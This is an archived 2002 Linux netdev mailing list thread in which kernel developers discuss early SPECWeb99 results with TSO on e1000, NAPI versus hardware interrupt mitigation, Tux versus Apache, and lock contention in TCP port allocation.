<20020906.114336.132077566.davem@redhat.com> To: Martin.Bligh@us.ibm.com Cc: haveblue@us.ibm.com, ak@suse.de, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <61557945.1031312716@[10.10.2.3]> References: <20020906.113652.40767574.davem@redhat.com> <61557945.1031312716@[10.10.2.3]> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 115 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: "Martin J. Bligh" Date: Fri, 06 Sep 2002 11:45:17 -0700 > Actually, oprofile separated out the acenic module from the rest of the > kernel. I should have included that breakout as well. but it was only 1.3 > of CPU: > 1.3801 0.0000 /lib/modules/2.4.18+O1/kernel/drivers/net/acenic.o > > We thought you were using e1000 in these tests? e1000 on the server, those profiles were client side. Ok. BTW acenic is packet rate limited by the speed of the MIPS cpus on the card. It might be instramental to disable HW checksumming in the acenic driver and see what this does to your results. From Martin.Bligh@us.ibm.com Fri Sep 6 11:48:54 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:48:55 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86ImrtG010180 for ; Fri, 6 Sep 2002 11:48:53 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86IqrEG207674; Fri, 6 Sep 2002 14:52:54 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86IqmWq222448; Fri, 6 Sep 2002 12:52:49 -0600 Date: Fri, 06 Sep 2002 11:51:29 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: "David S. Miller" cc: gh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <61930391.1031313088@[10.10.2.3]> In-Reply-To: <20020906.113611.102227888.davem@redhat.com> References: <20020906.113611.102227888.davem@redhat.com> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 116 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > The fact that we're doing something different from everyone else > and turning up a different set of kernel issues is a good thing, > to my mind. You're right, we could use Tux if we wanted to ... but > that doesn't stop Apache being interesting ;-) > > Tux does not obviate Apache from the equation. > See my other emails. That's not the point ... we're getting sidetracked here. The point is: "is this a realistic-ish stick to beat the kernel with and expect it to behave" ... I feel the answer is yes. The secondary point is "what are customers doing in the field?" (not what *should* they be doing ;-)). Moreover, I think the Apache + Tux combination has been fairly well beaten on already by other people in the past, though I'm sure it could be done again. I see no reason why turning on NAPI should make the Apache setup we have perform worse ... quite the opposite. Yes, we could use Tux, yes we'd get better results. But that's not the point ;-) M. From davem@redhat.com Fri Sep 6 11:51:29 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:51:31 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IpTtG010547 for ; Fri, 6 Sep 2002 11:51:29 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA14915; Fri, 6 Sep 2002 11:48:16 -0700 Date: Fri, 06 Sep 2002 11:48:15 -0700 (PDT) Message-Id: <20020906.114815.127906065.davem@redhat.com> To: Martin.Bligh@us.ibm.com Cc: gh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <61930391.1031313088@[10.10.2.3]> References: <20020906.113611.102227888.davem@redhat.com> <61930391.1031313088@[10.10.2.3]> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 117 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: "Martin J. Bligh" Date: Fri, 06 Sep 2002 11:51:29 -0700 I see no reason why turning on NAPI should make the Apache setup we have perform worse ... quite the opposite. Yes, we could use Tux, yes we'd get better results. But that's not the point ;-) Of course. I just don't want propaganda being spread that using Tux means you lose any sort of web server functionality whatsoever. From gerrit@us.ibm.com Fri Sep 6 11:54:12 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:54:14 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IsCtG010925 for ; Fri, 6 Sep 2002 11:54:12 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86IwLlj040552; Fri, 6 Sep 2002 14:58:21 -0400 Received: from w-gerrit2 (dyn9-47-17-91.beaverton.ibm.com [9.47.17.91]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86IwJWq164748; Fri, 6 Sep 2002 12:58:20 -0600 Received: from w-gerrit2 ([127.0.0.1] helo=us.ibm.com ident=gerrit) by w-gerrit2 with esmtp (Exim 3.35 #1 (Debian)) id 17nOIa-0003Xy-00; Fri, 06 Sep 2002 11:57:44 -0700 To: "David S. Miller" cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Reply-To: Gerrit Huizenga From: Gerrit Huizenga Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-reply-to: Your message of Fri, 06 Sep 2002 11:34:48 PDT. <20020906.113448.07697441.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <13634.1031338659.1@us.ibm.com> Date: Fri, 06 Sep 2002 11:57:39 -0700 Message-Id: X-archive-position: 118 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gh@us.ibm.com Precedence: bulk X-list: netdev In message <20020906.113448.07697441.davem@redhat.com>, > : "David S. Miller" w rites: > From: Gerrit Huizenga > Date: Fri, 06 Sep 2002 11:19:11 -0700 > > TUX can optimize dynamic content just fine. > > The last I knew was that it could pass it off to another server. Out of curiosity, and primarily for my own edification, what kind of optimization does it do when everything is generated by a java/ perl/python/homebrew script and pasted together by something which consults a content manager. In a few of the cases that I know of, there isn't really any static content to cache... And why is this something that Apache couldn't/shouldn't be doing? gerrit From davem@redhat.com Fri Sep 6 12:01:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:01:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86J18tG011373 for ; Fri, 6 Sep 2002 12:01:08 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA14995; Fri, 6 Sep 2002 11:58:04 -0700 Date: Fri, 06 Sep 2002 11:58:04 -0700 (PDT) Message-Id: <20020906.115804.109349169.davem@redhat.com> To: gh@us.ibm.com Cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020906.113448.07697441.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 119 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Gerrit Huizenga Date: Fri, 06 Sep 2002 11:57:39 -0700 Out of curiosity, and primarily for my own edification, what kind of optimization does it do when everything is generated by a java/ perl/python/homebrew script and pasted together by something which consults a content manager. In a few of the cases that I know of, there isn't really any static content to cache... And why is this something that Apache couldn't/shouldn't be doing? The kernel exec's the CGI process from the TUX server and pipes the output directly into a networking socket. Because it is cheaper to create a new fresh user thread from within the kernel (ie. we don't have to fork() apache and thus dup it's address space), it is faster. From gerrit@us.ibm.com Fri Sep 6 12:01:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:01:58 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86J1utG011726 for ; Fri, 6 Sep 2002 12:01:56 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86J67Df089990; Fri, 6 Sep 2002 15:06:07 -0400 Received: from w-gerrit2 (dyn9-47-17-91.beaverton.ibm.com [9.47.17.91]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86J66Wq092818; Fri, 6 Sep 2002 13:06:07 -0600 Received: from w-gerrit2 ([127.0.0.1] helo=us.ibm.com ident=gerrit) by w-gerrit2 with esmtp (Exim 3.35 #1 (Debian)) id 17nOQ8-0003a8-00; Fri, 06 Sep 2002 12:05:32 -0700 To: "David S. Miller" cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Reply-To: Gerrit Huizenga From: Gerrit Huizenga Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-reply-to: Your message of Fri, 06 Sep 2002 11:48:15 PDT. <20020906.114815.127906065.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <13768.1031339127.1@us.ibm.com> Date: Fri, 06 Sep 2002 12:05:27 -0700 Message-Id: X-archive-position: 120 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gh@us.ibm.com Precedence: bulk X-list: netdev In message <20020906.114815.127906065.davem@redhat.com>, > : "David S. Miller" writes: > From: "Martin J. Bligh" > Date: Fri, 06 Sep 2002 11:51:29 -0700 > > I see no reason why turning on NAPI should make the Apache setup > we have perform worse ... quite the opposite. Yes, we could use > Tux, yes we'd get better results. But that's not the point ;-) > > Of course. > > I just don't want propaganda being spread that using Tux means you > lose any sort of web server functionality whatsoever. Ah sorry - I never meant to imply that Tux was detrimental, other than one case where it seemed to have no benefit and the performance numbers while tuning for TPC-W *seemed* worse but were never analyzed completely. That was the actual event that I meant when I said: We also had some bad starts with using Tux in terms of performance and scalability on 4-CPU and 8-CPU machines, especially when combining with things like squid or other cacheing products from various third parties. Those results were never quantified but for various reasons we had a team that decided to take Tux out of the picture. I think the problem was more likely lack of knowledge and lack of time to do analysis on the particular problems. Another combination of solutions was used. So, any comments I made which might have implied that Tux/Tux2 made things worse have no substantiated data to prove that and it is quite possible that there is no such problem. Also, this was run nearly a year ago and the state of Tux/Tux2 might have been a bit different at the time. gerrit From davem@redhat.com Fri Sep 6 12:04:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:04:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86J48tG012092 for ; Fri, 6 Sep 2002 12:04:08 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA15049; Fri, 6 Sep 2002 12:01:04 -0700 Date: Fri, 06 Sep 2002 12:01:04 -0700 (PDT) Message-Id: <20020906.120104.125944656.davem@redhat.com> To: gh@us.ibm.com Cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020906.114815.127906065.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 121 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Gerrit Huizenga Date: Fri, 06 Sep 2002 12:05:27 -0700 So, any comments I made which might have implied that Tux/Tux2 made things worse have no substantiated data to prove that and it is quite possible that there is no such problem. Also, this was run nearly a year ago and the state of Tux/Tux2 might have been a bit different at the time. Thanks for clearing things up. From niv@us.ibm.com Fri Sep 6 12:15:12 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:15:16 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JFCtG012588 for ; Fri, 6 Sep 2002 12:15:12 -0700 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.194.24]) by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86JJOlj035192; Fri, 6 Sep 2002 15:19:24 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by westrelay03.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86JJM19126494; Fri, 6 Sep 2002 13:19:23 -0600 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id 154273FE07; Fri, 6 Sep 2002 15:19:15 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id 8AE7B23C00D; Fri, 6 Sep 2002 15:19:14 -0400 (EDT) Received: from 9.47.18.15 ( [9.47.18.15]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Fri, 6 Sep 2002 12:19:14 -0700 Message-ID: <1031339954.3d78ffb257d22@imap.linux.ibm.com> Date: Fri, 6 Sep 2002 12:19:14 -0700 From: Nivedita Singhvi To: Andi Kleen Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <3D78C9BD.5080905@us.ibm.com> <53430559.1031304588@[10.10.2.3]> <3D78E7A5.7050306@us.ibm.com> <20020906202646.A2185@wotan.suse.de> In-Reply-To: <20020906202646.A2185@wotan.suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.47.18.15 X-archive-position: 122 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting Andi Kleen : > > c0106e59 42693 1.89176 restore_all > > c01dfe68 42787 1.89592 sys_socketcall > > c01df39c 54185 2.40097 sys_bind > > c01de698 62740 2.78005 sockfd_lookup > > c01372c8 97886 4.3374 fput > > c022c110 125306 5.55239 __generic_copy_to_user > > c01373b0 181922 8.06109 fget > > c020958c 199054 8.82022 tcp_v4_get_port > > c0106e10 199934 8.85921 system_call > > c022c158 214014 9.48311 __generic_copy_from_user > > c0216ecc 257768 11.4219 inet_bind > > The profile looks bogus. The NIC driver is nowhere in sight. > Normally its mmap IO for interrupts and device registers > should show. I would double check it (e.g. with normal profile) Separately compiled acenic.. I'm surprised by this profile a bit too - on the client side, since the requests are small, and the client is receiving all those files, I would have thought that __generic_copy_to_user would have been way higher than *from_user. inet_bind() and tcp_v4_get_port() are up there because we have to grab the socket lock, the tcp_portalloc_lock, then the head chain lock and traverse the hash table which has now many hundred entries. Also, because of the varied length of the connections, the clients get freed not in the same order they are allocated a port, hence the fragmentation of the port space.. Tthere is some cacheline thrashing hurting the NUMA more than other systems here too.. If you just wanted to speed things up, you could get the clients to specify ports instead of letting the kernel cycle through for a free port..:) thanks, Nivedita > In case it is no bogus: > Most of these are either atomic_inc/dec of reference counters or > some form of lock. The system_call could be the int 0x80 (using the > SYSENTER patches would help), which also does atomic operations > implicitely. restore_all is IRET, could also likely be speed up by > using SYSEXIT. > > If NAPI hurts here then it surely not because of eating CPU time. > > -Andi > > From ak@suse.de Fri Sep 6 12:22:13 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:22:15 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JMDtG012982 for ; Fri, 6 Sep 2002 12:22:13 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 3D437149F2; Fri, 6 Sep 2002 21:26:20 +0200 (MEST) Date: Fri, 6 Sep 2002 21:26:19 +0200 From: Andi Kleen To: Nivedita Singhvi Cc: Andi Kleen , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <20020906212619.A28172@wotan.suse.de> References: <3D78C9BD.5080905@us.ibm.com> <53430559.1031304588@[10.10.2.3]> <3D78E7A5.7050306@us.ibm.com> <20020906202646.A2185@wotan.suse.de> <1031339954.3d78ffb257d22@imap.linux.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1031339954.3d78ffb257d22@imap.linux.ibm.com> User-Agent: Mutt/1.3.22.1i X-archive-position: 123 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev > If you just wanted to speed things up, you could get the > clients to specify ports instead of letting the kernel > cycle through for a free port..:) Better would be probably to change the kernel to keep a limited list of free ports in a free list. The grabbing a free port would be an O(1) operation. I'm not entirely sure it is worth it in this case. The locks are probably the majority of the cost. -Andi From davem@redhat.com Fri Sep 6 12:24:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:24:23 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JOKtG013337 for ; Fri, 6 Sep 2002 12:24:21 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA15187; Fri, 6 Sep 2002 12:21:18 -0700 Date: Fri, 06 Sep 2002 12:21:18 -0700 (PDT) Message-Id: <20020906.122118.52140394.davem@redhat.com> To: niv@us.ibm.com Cc: ak@suse.de, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <1031339954.3d78ffb257d22@imap.linux.ibm.com> References: <3D78E7A5.7050306@us.ibm.com> <20020906202646.A2185@wotan.suse.de> <1031339954.3d78ffb257d22@imap.linux.ibm.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 124 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Nivedita Singhvi Date: Fri, 6 Sep 2002 12:19:14 -0700 inet_bind() and tcp_v4_get_port() are up there because we have to grab the socket lock, the tcp_portalloc_lock, then the head chain lock and traverse the hash table which has now many hundred entries. Also, because of the varied length of the connections, the clients get freed not in the same order they are allocated a port, hence the fragmentation of the port space.. Tthere is some cacheline thrashing hurting the NUMA more than other systems here too.. There are methods to eliminate the centrality of the port allocation locking. Basically, kill tcp_portalloc_lock and make the port rover be per-cpu. The only tricky case is the "out of ports" situation. Because there is no centralized locking being used to serialize port allocation, it is difficult to be sure that the port space is truly exhausted. Another idea, which doesn't eliminate the tcp_portalloc_lock but has other good SMP properties, is to apply a "cpu salt" to the port rover value. For example, shift the local cpu number into the upper parts of a 'u16', then 'xor' that with tcp_port_rover. Alexey and I have discussed this several times but never became bored enough to experiment :-) From davem@redhat.com Fri Sep 6 12:28:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:28:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JS9tG013720 for ; Fri, 6 Sep 2002 12:28:09 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA15215; Fri, 6 Sep 2002 12:24:05 -0700 Date: Fri, 06 Sep 2002 12:24:05 -0700 (PDT) Message-Id: <20020906.122405.122283378.davem@redhat.com> To: ak@suse.de Cc: niv@us.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <20020906212619.A28172@wotan.suse.de> References: <20020906202646.A2185@wotan.suse.de> <1031339954.3d78ffb257d22@imap.linux.ibm.com> <20020906212619.A28172@wotan.suse.de> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 125 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Andi Kleen Date: Fri, 6 Sep 2002 21:26:19 +0200 I'm not entirely sure it is worth it in this case. The locks are probably the majority of the cost. You can more localize the lock accesses (since we use per-chain locks) by applying a cpu salt to the port numbers you allocate. See my other email. From manfred@colorfullife.com Fri Sep 6 12:35:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:35:50 -0700 (PDT) Received: from dbl.q-ag.de (IDENT:root@dbl.q-ag.de [80.146.160.66]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JZktG014132 for ; Fri, 6 Sep 2002 12:35:47 -0700 Received: from colorfullife.com (IDENT:root@localhost.localdomain [127.0.0.1]) by dbl.q-ag.de (8.11.6/8.11.6) with ESMTP id g86Jdkl04607; Fri, 6 Sep 2002 21:39:46 +0200 Message-ID: <3D790499.8020501@colorfullife.com> Date: Fri, 06 Sep 2002 21:40:09 +0200 From: Manfred Spraul User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0) X-Accept-Language: en, de MIME-Version: 1.0 To: "David S. Miller" CC: haveblue@us.ibm.com, hadi@cyberus.ca, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <3D78F55C.4020207@colorfullife.com> <20020906.113829.65591342.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 126 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manfred@colorfullife.com Precedence: bulk X-list: netdev David S. Miller wrote: > From: Manfred Spraul > Date: Fri, 06 Sep 2002 20:35:08 +0200 > > The second point was that interrupt mitigation must remain enabled, even > with NAPI: the automatic mitigation doesn't work with process space > limited loads (e.g. TCP: backlog queue is drained quickly, but the > system is busy processing the prequeue or receive queue) > > Not true. NAPI is in fact a %100 replacement for hw interrupt > mitigation strategies. The cpu usage elimination afforded by > hw interrupt mitigation is also afforded by NAPI and even more > so by NAPI. > > See Jamal's paper. > I've read his paper: it's about MLFFR. There is no alternative to NAPI if packets arrive faster than they are processed by the backlog queue. But what if the backlog queue is empty all the time? Then NAPI thinks that the system is idle, and reenables the interrupts after each packet :-( In my tests, I've used a pentium class system (I have no GigE cards - that was the only system where I could saturate the cpu with 100MBit ethernet). IIRC 30% cpu time was needed for the copy_to_user(). The receive queue was filled, the backlog queue empty. With NAPI, I got 1 interrupt for each packet, with hw interrupt mitigation the throughput was 30% higher for MTU 600. Dave, do you have interrupt rates from the clients with and without NAPI? -- Manfred From davem@redhat.com Fri Sep 6 12:37:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:37:34 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JbWtG014490 for ; Fri, 6 Sep 2002 12:37:32 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA15296; Fri, 6 Sep 2002 12:34:29 -0700 Date: Fri, 06 Sep 2002 12:34:28 -0700 (PDT) Message-Id: <20020906.123428.28085660.davem@redhat.com> To: manfred@colorfullife.com Cc: haveblue@us.ibm.com, hadi@cyberus.ca, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <3D790499.8020501@colorfullife.com> References: <3D78F55C.4020207@colorfullife.com> <20020906.113829.65591342.davem@redhat.com> <3D790499.8020501@colorfullife.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 127 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Manfred Spraul Date: Fri, 06 Sep 2002 21:40:09 +0200 Dave, do you have interrupt rates from the clients with and without NAPI? Robert does. From niv@us.ibm.com Fri Sep 6 12:41:07 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:41:09 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86Jf7tG014876 for ; Fri, 6 Sep 2002 12:41:07 -0700 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.56.224.151]) by e2.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86Jj8IV017734; Fri, 6 Sep 2002 15:45:08 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay03.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86Jj5UK095796; Fri, 6 Sep 2002 15:45:06 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id AE0213FE06; Fri, 6 Sep 2002 15:45:01 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id 21BD323C00D; Fri, 6 Sep 2002 15:45:01 -0400 (EDT) Received: from 9.47.18.15 ( [9.47.18.15]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Fri, 6 Sep 2002 12:45:00 -0700 Message-ID: <1031341500.3d7905bce1a63@imap.linux.ibm.com> Date: Fri, 6 Sep 2002 12:45:00 -0700 From: Nivedita Singhvi To: "David S. Miller" Cc: ak@suse.de, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <3D78E7A5.7050306@us.ibm.com> <20020906202646.A2185@wotan.suse.de> <1031339954.3d78ffb257d22@imap.linux.ibm.com> <20020906.122118.52140394.davem@redhat.com> In-Reply-To: <20020906.122118.52140394.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.47.18.15 X-archive-position: 128 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com 